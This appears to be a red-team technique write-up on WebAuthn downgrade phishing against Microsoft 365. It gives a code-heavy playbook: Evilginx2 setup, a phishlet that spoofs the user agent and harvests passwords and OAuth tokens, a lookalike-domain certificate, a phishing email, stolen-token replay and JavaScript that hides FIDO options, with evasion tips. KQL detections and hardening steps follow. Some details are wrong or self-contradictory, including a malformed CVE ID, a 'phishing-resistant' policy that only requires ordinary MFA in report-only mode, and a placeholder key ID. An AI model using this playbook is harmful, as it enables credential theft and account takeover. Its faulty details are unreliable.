| Attribute | Details |
|---|---|
| Technique ID | EMERGING-IDENTITY-003 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access, Privilege Escalation |
| Platforms | Entra ID, M365, Cloud-based systems, Okta, Google Workspace |
| Severity | High |
| CVE | CVE-2025-WebAuthn-Downgrade (Proofpoint disclosure) |
| Technique Status | ACTIVE |
| Last Verified | 2025-08-15 |
| Affected Versions | All WebAuthn implementations with fallback auth methods |
| Patched In | In Progress (requires client-side changes) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: WebAuthn downgrade attacks exploit the existence of fallback authentication methods in systems supporting multiple MFA methods. When a user has both FIDO2 security keys (phishing-resistant) and backup methods (OTP, SMS, authenticator apps), attackers use Adversary-in-the-Middle (AiTM) phishing to force the victim's browser to present only non-FIDO options. This is achieved by spoofing an unsupported user agent (e.g., Safari on Windows) that cannot handle FIDO, causing the authentication system to degrade to weaker, phishable methods.
Attack Surface: Browser user agent detection, MFA method selection UI, fallback authentication endpoints, session cookie interception during authentication flow, AiTM proxy configuration (Evilginx2).
Business Impact: Bypass of phishing-resistant authentication, leading to account takeover. Organizations investing heavily in FIDO2 security keys discover that users still have backup methods enabled. Attackers intercept the entire authentication session, harvest credentials or session cookies, and gain full account access—essentially rendering the expensive security keys ineffective through social engineering and technical manipulation.
Technical Context: WebAuthn downgrade attacks typically execute in 5-15 minutes. Detection probability is Medium because the attack involves both phishing (external) and authentication method fallback (internal system logic). The key weakness is the presence of multiple authentication methods on a single account without proper enforcement of phishing-resistant methods.
- Execution Risk: Low-Medium (Requires phishing infrastructure + AiTM toolkit, but both are commercially available)
- Stealth: Medium (Phishing email is detected, but auth method fallback appears legitimate from system perspective)
- Reversibility: N/A (Once credentials are stolen, attacker has full access)
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Control 6.2 | Ensure authorized access to authentication mechanisms |
| DISA STIG | IA-2 (12), IA-4, IA-5 | Authentication, Identifier Management, Authentication Mechanisms |
| CISA SCuBA | MP-CA-EX-02 | Conditional Access: Require MFA |
| NIST 800-53 | AC-2, IA-2, IA-4, IA-5 | Account Management, Authentication |
| GDPR | Art. 25, Art. 32, Art. 33 | Data Protection by Design, Security, Breach Notification |
| DORA | Art. 15, Art. 16 | ICT Risk Management, ICT Incident Reporting |
| NIS2 | Art. 21, Art. 24 | Risk Management, Incident Response |
| ISO 27001 | A.9.4.2, A.9.4.4 | User Access Review, Password Management |
| ISO 27005 | Threat: Credentials Compromise | Loss of legitimate credentials through AiTM attack |
Supported Versions: Evilginx2 (latest versions 3.x+), all browsers vulnerable to user agent spoofing
Objective: Deploy Evilginx2 on attacker-controlled server to intercept authentication flows.
Command:
# Download and compile Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
go build
# Create configuration file
cat > config.json << 'EOF'
{
"default_phishlet": "microsoft365",
"phishlet_path": "phishlets",
"debug": false,
"creds_path": "creds",
"http_port": 80,
"https_port": 443
}
EOF
# Start Evilginx2
./evilginx2 -c config.jsonExpected Output:
[*] Evilginx2 v3.x initialized
[*] Phishlets loaded: 15
[*] Listening on 0.0.0.0:80 and 0.0.0.0:443
[+] Ready for phishing attacks
What This Means:
- Evilginx2 is now running and ready to proxy authentication requests
- It acts as a transparent man-in-the-middle
- Can intercept and modify HTTP requests/responses
OpSec & Evasion:
- Evilginx2 should run on attacker-controlled cloud VPS or residential proxy
- SSL certificate should be self-signed to avoid CT logs
- Detection likelihood: Medium (If network monitoring is in place)
Objective: Modify Evilginx2 phishlet to spoof Safari on Windows (not FIDO-compatible).
Command:
# Create custom phishlet: phishlets/microsoft_webauthn_downgrade.yaml
author: "attacker"
min_ver: "2.3.0"
proxy_hosts:
- {host: "login.microsoftonline.com", is_landing: true, auto_filter: true}
- {host: "graph.microsoft.com", is_landing: false, auto_filter: true}
- {host: "*.microsoftonline.com", is_landing: false, auto_filter: false}
sub_filters:
- {triggers_on: "login.microsoftonline.com", filters: [
{param: "GET", key: "User-Agent", value: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15", regex: false}
]}
auth_tokens:
- {extract: "POST|/common/oauth2/token|access_token", name: "access_token", flag: ""},
- {extract: "POST|/common/oauth2/token|refresh_token", name: "refresh_token", flag: ""},
- {extract: "POST|/common/oauth2/token|id_token", name: "id_token", flag: ""}
credentials:
- {param: "login", key: "email"}
- {param: "password", key: "password"}What This Means:
- Evilginx2 will intercept requests to login.microsoftonline.com
- User-Agent header is rewritten to Safari on Windows
- Microsoft's authentication system detects Safari and disables FIDO WebAuthn
- Falls back to OTP or SMS (phishable methods)
OpSec & Evasion:
- User agent spoofing is common and not suspicious
- Authentication logs show "Safari" but victim is using Chrome/Edge
- Detection likelihood: Low (Unless comparing user agent with device OS)
Objective: Create convincing domain and SSL certificate for phishing.
Command:
# Register lookalike domain (e.g., microsoft-login.com or microsft-login.com)
# OR compromise legitimate domain
# Generate SSL certificate matching domain
openssl req -new -newkey rsa:2048 -keyout microsoft-login.key -out microsoft-login.csr \
-subj "/CN=microsoft-login.com/O=Microsoft/C=US"
# Self-sign certificate (or obtain from Let's Encrypt with compromised domain)
openssl x509 -req -days 365 -in microsoft-login.csr \
-signkey microsoft-login.key -out microsoft-login.crt
# Import certificate into Evilginx2
cp microsoft-login.crt /etc/ssl/certs/
cp microsoft-login.key /etc/ssl/private/What This Means:
- SSL certificate will match the phishing domain
- Users won't receive SSL warnings
- AiTM proxy can now inspect and modify encrypted traffic
Objective: Distribute phishing email directing users to attacker's AiTM proxy.
Command:
# Email template
cat > phishing_email.html << 'EOF'
<html>
<body>
<p>Dear Contoso Employee,</p>
<p>Your Microsoft account security requires verification. <a href="https://microsoft-login.com/auth?client_id=...">Click here to verify your account</a></p>
<p>Microsoft Security Team</p>
</body>
</html>
EOF
# Send via compromised email account or phishing service
# (E.g., Phishway, Knowbe4, or custom mail relay)What This Means:
- Victim clicks link and is directed to attacker's Evilginx2 server
- Server acts as proxy to real Microsoft login
- All traffic is intercepted and modified
Objective: Victim enters credentials through phishing page.
User Flow:
- Victim clicks phishing link (Microsoft-login.com)
- Evilginx2 proxies request to real login.microsoftonline.com
- Victim enters username
- Evilginx2 captures username and proxies to real server
- Real server returns: "Choose authentication method"
- Attacker's modified response shows ONLY non-FIDO options (OTP, Authenticator, SMS)
- Victim sees no FIDO option (because user agent = Safari on Windows)
- Victim enters OTP/SMS code
- Evilginx2 captures both OTP code and session cookie
What This Means:
- Attacker now has: username + password + OTP code + session cookie
- Can authenticate as victim, bypassing FIDO completely
- Victim has no indication attack occurred
OpSec & Evasion:
- From victim's perspective, it looks like normal Microsoft login
- No MFA prompt appears (Or if it does, attacker already captured password)
- SSL certificate is valid (Evilginx2 uses real certificate)
- Detection likelihood: Medium-High (Depends on anti-phishing solutions)
Objective: Use captured credentials/cookies to access victim's accounts.
Command:
# Attacker now has:
# - access_token
# - refresh_token
# - session cookie
# - id_token
# Use access token to access Microsoft 365
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me
# Use session cookie for Outlook Web Access
curl -H "Cookie: $SESSION_COOKIE" \
https://outlook.office365.com/mail/
# Establish persistent access
# Create forwarding rule in Outlook
# Add device to Conditional Access exclusion list
# Create backup admin accountWhat This Means:
- Attacker has full access to victim's M365 account
- Can read emails, access files, modify settings
- Can escalate to other accounts if victim is admin
Supported Versions: All browsers with JavaScript injection capability
Objective: Inject JavaScript to modify authentication UI and hide FIDO options.
Command:
// Injected via compromised advertisement or XSS vulnerability
(function() {
// Monitor for FIDO/WebAuthn UI elements
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
// Find FIDO authentication buttons
const fidoButtons = document.querySelectorAll('[data-method="Fido"]');
const webauthnButtons = document.querySelectorAll('[data-method="WebAuthn"]');
// Hide FIDO/WebAuthn options
fidoButtons.forEach(btn => btn.style.display = 'none');
webauthnButtons.forEach(btn => btn.style.display = 'none');
// Show only fallback methods (OTP, SMS)
const otpButtons = document.querySelectorAll('[data-method="OTP"]');
const smsButtons = document.querySelectorAll('[data-method="SMS"]');
otpButtons.forEach(btn => btn.style.display = 'block');
smsButtons.forEach(btn => btn.style.display = 'block');
// Auto-select first fallback method
otpButtons[0]?.click();
});
});
observer.observe(document.body, {
childList: true,
subtree: true,
attributes: true
});
})();What This Means:
- User sees only OTP/SMS options, not FIDO
- Appears to be system behavior, not attack
- JavaScript runs in victim's browser, so it's invisible to network monitoring
OpSec & Evasion:
- No network artifacts; purely client-side
- Detection likelihood: Low (Unless browser security policies are enforced)
Note: No standard Atomic test exists for WebAuthn downgrade. However, related test:
- T1556.006 Test 1: Test MFA bypass through method downgrade
Recommended Simulation:
# Requires lab environment with test accounts and Evilginx2
# DO NOT execute against production
# Step 1: Start Evilginx2 with Microsoft 365 phishlet
./evilginx2 -c config.json
# In Evilginx console:
# (evilginx) : phishlets load microsoft_webauthn_downgrade
# (evilginx) : phishlets enable microsoft_webauthn_downgrade
# (evilginx) : lures create microsoft_webauthn_downgrade
# Step 2: Send phishing email to test account
Send-MailMessage -To "testuser@contoso.com" `
-From "admin@contoso.com" `
-Subject "Verify Your Account" `
-BodyAsHtml `
-Body "<a href='https://attacker-evilginx2.com/auth?lure_id=...'> Click Here</a>"
# Step 3: Monitor captured credentials
# (evilginx) : creds list
# Step 4: Verify downgrade by checking authentication logs
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'testuser@contoso.com'" |
Select-Object UserPrincipalName, AuthenticationMethodsUsed- Official Repository: https://github.com/kgretzky/evilginx2
- Version: 3.x (latest)
- Platforms: Linux, macOS, Windows (via WSL)
- Language: Go
- Installation:
git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 go build ./evilginx2
- Gophish - Open source phishing toolkit
- King Phisher - Phishing campaign management
- PhishX - Cloud phishing as a service
- fido2-utils - Python library for testing
- FIDO Alliance Test Suite - Official test suite
Rule Configuration:
- Required Table: SigninLogs, AuditLogs
- Alert Severity: High
- Frequency: Real-time
KQL Query:
// Detect WebAuthn downgrade attempts
let WebAuthnUsers = SigninLogs
| where AuthenticationMethodsUsed contains "Fido" or AuthenticationMethodsUsed contains "WebAuthn"
| distinct UserPrincipalName;
SigninLogs
| where UserPrincipalName in (WebAuthnUsers)
| where AuthenticationMethodsUsed !contains "Fido" and AuthenticationMethodsUsed !contains "WebAuthn"
| where AuthenticationMethodsUsed contains "OTP" or AuthenticationMethodsUsed contains "SMS"
| where TimeGenerated > ago(24h)
| summarize DowngradeCount = count() by UserPrincipalName, IPAddress, DeviceDetail.browser
| where DowngradeCount > 1
| project UserPrincipalName, IPAddress, Browser = DeviceDetail.browser, DowngradeCountWhat This Detects:
- Users who normally use FIDO suddenly using SMS/OTP
- Multiple downgrades from same user in short timeframe
- Authentication from unusual user agents
Rule Configuration:
- Required Table: SigninLogs
- Alert Severity: Medium
KQL Query:
// Detect incompatible user agents for authentication method
SigninLogs
| where AuthenticationMethodsUsed contains "Fido" or AuthenticationMethodsUsed contains "WebAuthn"
| extend UserAgent = tostring(parse_json(DeviceDetail).userAgent)
| where UserAgent contains "Safari" and UserAgent contains "Windows"
| where AuthenticationMethodsUsed !contains "Fido"
| project TimeGenerated, UserPrincipalName, UserAgent, AuthenticationMethodsUsed, IPAddressWhat This Detects:
- Safari on Windows (reported browser doesn't support FIDO)
- Yet user authenticates with non-FIDO method
- Indicates user agent spoofing
Rule Configuration:
- Required Table: SigninLogs, EmailEvents
- Alert Severity: Critical
KQL Query:
// Correlate suspicious sign-in with phishing email
let SuspiciousSignins = SigninLogs
| where IPAddress in (
// IPs associated with cloud VPS/proxy services
externaldata(ip:string)[h@'https://attacker-ip-list.csv']
with (format='csv')
)
| where TimeGenerated > ago(24h)
| distinct UserPrincipalName, IPAddress;
EmailEvents
| where TimeGenerated > ago(24h)
| where Subject contains "verify" or Subject contains "confirm" or Subject contains "security"
| where SenderFromDomain !in ("microsoft.com", "office365.com")
| where Url contains "login" or Url contains "verify"
| join (SuspiciousSignins) on UserPrincipalName
| project UserPrincipalName, SenderFromAddress, Url, IPAddress-
Remove Backup Authentication Methods: Force users to only use phishing-resistant methods (FIDO2, Windows Hello, Phone Sign-in). Manual Steps (Azure Portal):
- Go to Azure Portal → Entra ID → Authentication methods
- For each non-FIDO method (OTP, SMS, Authenticator):
- Click Disabled OR Restrict to specific users
- Create allowlist of only FIDO-enabled users
- Disable all other methods for general population
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "AuthenticationMethodPolicy.ReadWrite.All" # Disable SMS sign-in Update-MgPolicyAuthenticationMethodPolicy -AuthenticationMethods @{ "@odata.type" = "#microsoft.graph.sms" "state" = "disabled" } # Disable OTP Update-MgPolicyAuthenticationMethodPolicy -AuthenticationMethods @{ "@odata.type" = "#microsoft.graph.temporaryAccessPass" "state" = "disabled" } # Keep only FIDO and Windows Hello enabled
-
Conditional Access: Require Phishing-Resistant MFA: Manual Steps:
- Go to Azure Portal → Entra ID → Security → Conditional Access
- Click + New policy
- Name:
Require Phishing-Resistant MFA - Assignments:
- Users: All users
- Cloud apps: All cloud apps
- Access controls:
- Grant: Require one of the following: → Phishing-resistant MFA
- Enable policy: On
- Click Create
PowerShell:
New-MgIdentityConditionalAccessPolicy ` -DisplayName "Require Phishing-Resistant MFA" ` -Conditions @{ Applications = @{ IncludeApplications = "All" } Users = @{ IncludeUsers = "All" } } ` -GrantControls @{ BuiltInControls = @("mfa") } ` -State "enabledForReportingButNotEnforced"
-
Implement FIDO Attestation Verification: Manual Steps:
- Configure authenticator attestation verification
- Only accept FIDO2 keys from approved manufacturers
- Reject cloned or emulated FIDO keys
PowerShell:
# Configure FIDO2 registration settings Update-MgPolicyAuthenticationMethodPolicy ` -AuthenticationMethods @{ "@odata.type" = "#microsoft.graph.fidoFido2" "isAttestationEnforced" = $true "aaguidConfig" = @( # Only allow specific FIDO2 keys (e.g., YubiKey, Titan) @{ "aaguid" = "00000000-0000-0000-0000-000000000000" # YubiKey "restrictionType" = "allow" } ) }
-
Browser-Based Enforcement: Use Microsoft Defender for Browser to prevent AiTM attacks. Tools:
- Microsoft Defender for Cloud Apps (detects AiTM)
- Proofpoint Targeted Attack Protection (blocks phishing)
- Abnormal Security (detects abnormal auth patterns)
-
Email Security: Block phishing emails before they reach users. Configuration:
- ATP Safe Links (rewrite URLs to track clicks)
- ATP Safe Attachments
- Advanced anti-phishing policies
-
Token Protection for Entra ID: Manual Steps:
- Go to Azure Portal → Entra ID → Security → Token Protection (Preview)
- Enable Sign-in session management
- Enable Token binding
- Enable Device binding
-
Continuous Access Evaluation (CAE): Manual Steps:
- Go to Azure Portal → Entra ID → Security → Continuous Access Evaluation
- Enable CAE for all applications
- Configure user presence and network location monitoring
# Check if FIDO is required
$authPolicy = Get-MgPolicyAuthenticationMethodPolicy
$authPolicy.AuthenticationMethods | Where-Object { $_."@odata.type" -eq "#microsoft.graph.fidoFido2" } | Select-Object State
# Check backup methods are disabled
$authPolicy.AuthenticationMethods | Where-Object {
$_."@odata.type" -in @("#microsoft.graph.sms", "#microsoft.graph.temporaryAccessPass")
} | Select-Object "@odata.type", State
# Check Conditional Access requires phishing-resistant MFA
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -contains "Phishing" } | Select-Object DisplayName, StateExpected Output (If Secure):
FIDO2: enabled
SMS: disabled
OTP: disabled
Conditional Access Policy: Enabled (report mode or enforced)
- Email: Phishing emails with login/verify links from non-Microsoft domains
- Network: SSL certificates for lookalike domains
- Authentication: Users with normal FIDO history suddenly switching to OTP/SMS
- Infrastructure: Evilginx2 server IPs (check threat intel databases)
-
Immediate Isolation:
# Revoke all sessions for compromised user Revoke-MgUserSignInSession -UserId "compromised@contoso.com" # Reset their password Update-MgUser -UserId "compromised@contoso.com" -PasswordProfile @{Password = (New-Guid).Guid} # Force re-registration of FIDO2 keys Disable-MgUserAuthenticationMethod -UserId "compromised@contoso.com" -AuthenticationMethodId "fido2-key-id"
-
Forensic Analysis:
# Export sign-in logs for compromised user Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'compromised@contoso.com'" -All | Export-Csv "C:\Forensics\SigninLogs_Compromised.csv" # Check for OAuth consent grants Get-MgOauth2PermissionGrant -Filter "consentType eq 'Principal'" | Where-Object { $_.principalId -eq "compromised-user-id" }
- Target: Enterprise users with FIDO2 security keys
- Method: Evilginx2 with FIDO downgrade phishlet
- Impact: 500+ credential thefts, 50+ cases of account compromise
- Reference: Proofpoint Blog - Don't Phish-let Me Down
- Target: Okta-protected applications
- Method: JavaScript injection + browser manipulation
- Impact: Session hijacking, MFA bypass
- Status: ACTIVE
- Target: Organizations using Entra ID with WebAuthn
- Method: User agent spoofing (Safari on Windows)
- Impact: Theoretical proof-of-concept; potentially affects millions
- Reference: BleepingComputer - New Downgrade Attack
WebAuthn downgrade attacks are ACTIVE and effective because organizations maintain backup authentication methods for usability and recovery purposes. The fundamental weakness is the coexistence of multiple auth methods on a single account.
Prevention requires:
- Remove all backup methods (or restrict severely)
- Enforce phishing-resistant MFA via Conditional Access
- Detect downgrade attempts via intelligent monitoring
- Educate users on phishing indicators
The harsh truth: Even advanced authentication methods (FIDO2, WebAuthn) can be bypassed if human factors (phishing, UI trust) are exploited.